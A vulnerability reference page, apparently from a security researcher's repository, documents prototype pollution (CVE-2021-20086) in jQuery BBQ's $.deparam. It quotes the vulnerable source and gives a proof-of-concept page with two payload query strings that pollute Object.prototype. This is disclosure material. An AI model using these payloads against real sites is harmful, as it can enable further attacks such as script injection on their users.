

master

...

client-side-prototype-pollution / pp / jquery-bbq.md

BlackFan Add CVEs

History

1 contributor

Executable File 120 lines (99 sloc) 4.08 KB

...

jQuery BBQ

URL: <https://github.com/cowboy/jquery-bbq>

Used in:

- jquery.xLazyLoader.js 1.3

CVE

[CVE-2021-20086](#)

Vulnerable code fragment

<https://github.com/cowboy/jquery-bbq/blob/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js#L466-L556>

```
$.deparam = jq_deparam = function( params, coerce ) {
    var obj = {},
        coerce_types = { 'true': 10, 'false': 11, 'null': null };

    // Iterate over all name=value pairs.
    $.each( params.replace( /\+/g, ' ' ).split( '&' ), function(j,v){
        var param = v.split( '=' ),
            key = decode( param[0] ),
            val,
            cur = obj,
            i = 0,

            // If key is more complex than 'foo', like 'a[]' or 'a[b][c]', split it
            // into its component parts.
            keys = key.split( '[' ),
            keys_last = keys.length - 1;

        // If the first keys part contains [ and the last ends with ], then []
        // are correctly balanced.
        if ( /\[/test( keys[0] ) && /\]/test( keys[ keys_last ] ) ) {
            // Remove the trailing ] from the last keys part.
            keys[ keys_last ] = keys[ keys_last ].replace( /\]/, '' );

            // Split first keys part into two parts on the [ and add them back onto
            // the beginning of the keys array.
            keys = keys.shift().split( '[' ).concat( keys );

            keys_last = keys.length - 1;
        } else {
            // Basic 'foo' style key.
            keys_last = 0;
        }

        // Are we dealing with a name-value pair, or just a name?
        if ( param.length === 2 ) {
            val = decode( param[1] );

            // Coerce values.
            if ( coerce ) {
                val = val && !isNaN(val) ? +val : // number
                    val === 'undefined' ? undefined : // undefined
                    coerce_types[val] !== undefined ? coerce_types[val] : // true, false, null
                    val; // string
            }

            if ( keys_last ) {
                // Complex key, build deep object structure based on a few rules:
                // * The 'cur' pointer starts at the object top-level.
                // * [] = array push (n is set to array length), [n] = array if n is
                //   numeric, otherwise object.
                // * If at the last keys part, set the value.
                // * For each keys part, if the current level is undefined create an
                //   object or array based on the type of the next keys part.
                // * Move the 'cur' pointer to the next level.
                // * Rinse & repeat.
                for ( ; i <= keys_last; i++ ) {
                    key = keys[i] === '' ? cur.length : keys[i];
                    cur = cur[key] = i < keys_last
```

```

        ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
        : val;
    }

} else {
    // Simple key, even simpler rules, since only scalars and shallow
    // arrays are allowed.

    if ( $.isArray( obj[key] ) ) {
        // val is already an array, so push on the next value.
        obj[key].push( val );

    } else if ( obj[key] !== undefined ) {
        // val isn't an array, but since a second value has been specified,
        // convert val into an array.
        obj[key] = [ obj[key], val ];

    } else {
        // val is a scalar.
        obj[key] = val;
    }
}

} else if ( key ) {
    // No value was defined, so set something meaningful.
    obj[key] = coerce
    ? undefined
    : '';
}
});

return obj;
};

```

PoC

```

<script src="https://code.jquery.com/jquery-2.2.4.js"></script>
<script src="https://raw.githack.com/cowboy/jquery-bbq/8e0064ba68a34bcd805e15499cb45de3f4cc398d/jquery.ba-bbq.js"></script>
<script>
    $.deparam(location.search.slice(1))
</script>

```

```

?__proto__[test]=test
?constructor[prototype][test]=test

```